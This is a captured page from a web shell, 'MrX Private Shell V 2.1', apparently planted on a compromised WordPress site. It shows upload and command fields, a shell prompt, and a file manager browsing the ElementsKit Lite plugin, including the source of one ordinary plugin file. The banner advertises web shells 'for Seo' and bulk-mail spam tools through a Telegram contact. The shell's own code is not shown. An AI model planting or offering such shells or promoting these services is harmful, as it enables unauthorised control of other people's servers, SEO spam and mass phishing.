__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace ElementsKit_Lite\Core;

defined( 'ABSPATH' ) || exit;

/**
 * Inline script registrar.
 *
 * Returns all necessary inline js & css.
 *
 * @since 1.0.0
 * @access public
 */
class Build_Inline_Scripts {

	use \ElementsKit_Lite\Traits\Singleton;

	public function __construct() {
		// Frontend + Admin scripts
		add_action( 'wp_print_scripts', array( $this, 'print_inline_script' ) );
	}

	/**
	 * Get common inline JavaScript.
	 *
	 * @return string
	 */
	public function common_js() {
		ob_start(); ?>

		var elementskit = {
			resturl: '<?php echo defined( 'ICL_SITEPRESS_VERSION' ) ? esc_url(home_url('/wp-json/elementskit/v1/')) : esc_url(get_rest_url() . 'elementskit/v1/'); ?>',
		}

		<?php
		$output =  ob_get_contents();
		ob_end_clean();
		return $output;
	}

	/**
	 * Print inline JavaScript.
	 *
	 * @return void
	 */
	public function print_inline_script() {
		printf(
			"<script type='text/javascript'>%s</script>",
			\ElementsKit_Lite\Utils::render( $this->common_js() )
		);
	}
}

Filemanager

Name Type Size Permission Actions
activation-actions.php File 926 B 0775
build-inline-scripts.php File 1012 B 0775
build-modules.php File 993 B 0775
build-widgets.php File 2.62 KB 0775
config-list.php File 1.66 KB 0775
editor-promotion.php File 2.48 KB 0775
handler-api.php File 1.1 KB 0775
handler-widget.php File 723 B 0775
Filemanager